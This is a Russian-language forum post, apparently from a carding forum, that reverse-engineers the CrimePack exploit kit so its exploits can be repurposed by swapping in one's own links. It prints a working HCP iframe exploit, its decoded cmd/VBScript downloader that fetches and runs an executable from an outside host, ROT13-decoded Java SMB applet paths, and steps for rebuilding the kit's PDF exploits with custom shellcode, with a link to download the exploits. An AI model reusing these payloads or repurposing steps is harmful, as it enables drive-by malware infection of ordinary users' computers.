Реверсинг связок на примере CrimePack

DeWhite

VIP member
Messages
24
Reaction score
38
Points
13
x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x
Реверсинг связок на примере CrimePack
Special for carder.market

x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x
Анализируем выдачу
x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x
Снова приветствую тебя мембер cpro! По старой, не понятно откуда взявшейся привычке я снова зашел на малваре-трекер и среди многочисленых линков на fakeAV заметил
линк на связку, название которой было неизвестным. URL вел на:
Code:
http://www.devnullx.info/pk/index.php
Мне стало интересно и я закинул его в Malzilla.


Получившийся код можно увидеть в /index.php/index.php в архиве (здесь не выкладываю, ибо кода ооочень много, ссылка внизу). В коде идим input, с id XT12QT,
собственно сам код выдачи в value. Среди JS функций полезна только одна - в данном случае C41uxI_GD(). Пробуем восстановить содержимое value, для этого немного
изменим код и запустим в Malzilla. Пример кода (/index.php/decrypter.htm, там где что-то добавлял/менял оставил коментарии). Результат выполнения там же,
в файле /index.php/exec.htm.

В расшифрованом коде видим ссылки на сплойты, их можно cкачать для дальнейшего использования.
Какие сплойты использованы:
  • Java getValue
  • Java Deserialize
  • Java SMB
  • Java RMI
  • HCP.
  • PDF pack (newPlayer, getIcon, coolType, util_printf, collab_mail)
Выкачиваем, в этом нет ничего сложного. Судя по
Code:
rzkehxzxyvsxxkmwbehhbz += '<param name="crimepack" value="http://www.devnullx.info/pk/load.php?spl=java&b=ff&o=xp&i=java">';
в коде, можно понять что связка CrimePack.

x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x
Перебиваем ссылки
x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x
Как я уже говорил выше, эксплойты пригодны для дальнейшего использования, нужно только заменить ссылки на свои. Эта операция расписана дальше для каждого из сплойтов.
HCP:
Первым берем HCP. Если с ASX все достаточно просто, то с HTML'кой придется немного повозится. А именно снять шифрование. Ну мы это умеем =)
Декодится так же как и главная страница. Скрипт расшифровки ищи в архиве (/exps/hcp/decode.htm). После расшифровки видим сам эксп - ифрейм на HCP.
Code:
<iframe src ="hcp://services/search?query=crimepack&topic=hcp://system/sysinfo/sysinfomain.htm%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A..\..\sysinfomain.htm?svr=<script defer>eval(Run(String.fromCharCode(99,109,100,32,47,99,32,101,99,104,111,32,70,61,34,86,46,118,98,115,34,58,87,105,116,104,32,67,114,101,97,116,101,79,98,106,101,99,116,40,34,77,83,88,77,76,50,46,88,77,76,72,84,84,80,34,41,58,46,111,112,101,110,32,34,71,69,84,34,44,34,104,116,116,112,58,47,47,119,119,119,46,100,101,118,110,117,108,108,120,46,105,110,102,111,47,112,107,47,104,99,112,46,112,104,112,63,116,121,112,101,61,51,38,98,61,102,102,38,111,61,120,112,34,44,102,97,108,115,101,58,46,115,101,110,100,40,41,58,83,101,116,32,84,32,61,32,67,114,101,97,116,101,79,98,106,101,99,116,40,34,83,99,114,105,112,116,105,110,103,46,70,105,108,101,83,121,115,116,101,109,79,98,106,101,99,116,34,41,58,75,32,61,32,84,46,71,101,116,83,112,101,99,105,97,108,70,111,108,100,101,114,40,50,41,32,43,32,34,92,34,32,43,32,70,58,83,101,116,32,77,61,84,46,67,114,101,97,116,101,84,101,120,116,70,105,108,101,40,75,41,58,77,46,87,114,105,116,101,76,105,110,101,32,46,114,101,115,112,111,110,115,101,84,101,120,116,58,69,110,100,32,87,105,116,104,58,77,46,67,108,111,115,101,58,83,69,84,32,80,32,61,32,67,114,101,97,116,101,79,98,106,101,99,116,40,34,87,83,99,114,105,112,116,46,83,104,101,108,108,34,41,58,80,46,82,117,110,32,75,32,62,32,37,84,69,77,80,37,92,86,46,118,98,115,32,38,38,32,37,84,69,77,80,37,92,86,46,118,98,115,32,38,38,32,116,97,115,107,107,105,108,108,32,47,70,32,47,73,77,32,104,101,108,112,99,116,114,46,101,120,101,32,38,38,32,116,97,115,107,107,105,108,108,32,47,70,32,47,73,77,32,119,109,112,108,97,121,101,114,46,101,120,101)))</script>">
Видим что основной код зашифрован, снимаем шифрование так:
Code:
document.write(String.fromCharCode(99,109,100,32,47,99,32,101,99,104,111,32,70,61,34,86,46,118,98,115,34,58,87,105,116,104,32,67,114,101,97,116,101,79,98,106,101,99,116,40,34,77,83,88,77,76,50,46,88,77,76,72,84,84,80,34,41,58,46,111,112,101,110,32,34,71,69,84,34,44,34,104,116,116,112,58,47,47,119,119,119,46,100,101,118,110,117,108,108,120,46,105,110,102,111,47,112,107,47,104,99,112,46,112,104,112,63,116,121,112,101,61,51,38,98,61,102,102,38,111,61,120,112,34,44,102,97,108,115,101,58,46,115,101,110,100,40,41,58,83,101,116,32,84,32,61,32,67,114,101,97,116,101,79,98,106,101,99,116,40,34,83,99,114,105,112,116,105,110,103,46,70,105,108,101,83,121,115,116,101,109,79,98,106,101,99,116,34,41,58,75,32,61,32,84,46,71,101,116,83,112,101,99,105,97,108,70,111,108,100,101,114,40,50,41,32,43,32,34,92,34,32,43,32,70,58,83,101,116,32,77,61,84,46,67,114,101,97,116,101,84,101,120,116,70,105,108,101,40,75,41,58,77,46,87,114,105,116,101,76,105,110,101,32,46,114,101,115,112,111,110,115,101,84,101,120,116,58,69,110,100,32,87,105,116,104,58,77,46,67,108,111,115,101,58,83,69,84,32,80,32,61,32,67,114,101,97,116,101,79,98,106,101,99,116,40,34,87,83,99,114,105,112,116,46,83,104,101,108,108,34,41,58,80,46,82,117,110,32,75,32,62,32,37,84,69,77,80,37,92,86,46,118,98,115,32,38,38,32,37,84,69,77,80,37,92,86,46,118,98,115,32,38,38,32,116,97,115,107,107,105,108,108,32,47,70,32,47,73,77,32,104,101,108,112,99,116,114,46,101,120,101,32,38,38,32,116,97,115,107,107,105,108,108,32,47,70,32,47,73,77,32,119,109,112,108,97,121,101,114,46,101,120,101));
то есть тупо заменой eval и Run на document.write.
Получаем:
Code:
cmd /c echo F="V.vbs":With CreateObject("MSXML2.XMLHTTP"):.open "GET","http://www.devnullx.info/pk/hcp.php?type=3&b=ff&o=xp",false:.send():Set T = CreateObject("Scripting.FileSystemObject"):K = T.GetSpecialFolder(2) + "\" + F:Set M=T.CreateTextFile(K):M.WriteLine .responseText:End With:M.Close:SET P = CreateObject("WScript.Shell"):P.Run K > %TEMP%\V.vbs && %TEMP%\V.vbs && taskkill /F /IM helpctr.exe && taskkill /F /IM wmplayer.exe
Видим линк на getexe, что с ним нужно делать думаю понятно.


Java SMB:
Самые же внимательные наверно обратили внимание на:
Code:
function eREQAMavUMUBeMy(x){
    return x.replace(/[a-zA-Z]/g, function(c){return String.fromCharCode((c<="Z"?90:122)>=(c=c.charCodeAt(0)+13)?c:c-26);});
}
в коде выдачи. Это функция для расшифровки путей к Java SMB. Пробуем:
Code:
function eREQAMavUMUBeMy(x){
    return x.replace(/[a-zA-Z]/g, function(c){return String.fromCharCode((c<="Z"?90:122)>=(c=c.charCodeAt(0)+13)?c:c-26);});
}

var applet = eREQAMavUMUBeMy("uggc: -W-wne -W\\\\ubzr\\qriahyyk\\jjj\\ahyyk\\qngn.qyy");
var getexe = eREQAMavUMUBeMy("uggc://jjj.qriahyyk.vasb/cx/ybnq.cuc?fcy=jrofgneg&o=ss&b=kc&v=jrofgneg");
var parametr = eREQAMavUMUBeMy("abar");

document.write("Path to applet => <b>"+applet+"</b><br>");
document.write("Path to getexe => <b>"+getexe+"</b><br>");
document.write("Parametr => <b>"+parametr+"</b>");

Выведет нам:
Code:
Path to applet => http: -J-jar -J\\home\devnullx\www\nullx\data.dll
Path to getexe => http://www.devnullx.info/pk/load.php?spl=webstart&b=ff&o=xp&i=webstart
Parametr => none
Остальные Java:
По поводу остальных Java эксплойтов - они не требуют перебива ссылок внутри апплетов, так как пути передаются к ним через параметры. Пример использования:
Code:
var rzkehxzxyvsxxkmwbehhbz = '<applet code="Exploit.class" archive="serial.jar" width="300" height="300">';
rzkehxzxyvsxxkmwbehhbz += '<param name="crimepack" value="http://www.devnullx.info/pk/load.php?spl=java&b=ff&o=xp&i=java">';


PDF pack:
Перейдем к PDF. Нам понадобится тулза PDF Stream Dumper (линк: _http://sandsprite.com/blogs/index.php?uid=7&pid=57).
Открываем нашу PDF'ку, и ищем поток с данными (Data Stream). Найти не сложно, выделяется синим цветом. У меня поток был под номером 17, содержимое - куча букв,
полный бред. Зачем это нам? Убери все заглавные буквы и ты увидишь JS, функции со сплойтами. Вобщем теперь нужно собрать PDF'ку со своими шеллкодами.
В архиве - PDF'ка и тот самый JS, содержащий функции.


Сплойты из связки - _http://www.sendspace.com/file/aq24fd

Вот и все! С вами был DeWhite

Написано специально для carder.market.
Анальная кара за распространение!

(C) DeWhite 2011​
 
Last edited:
Top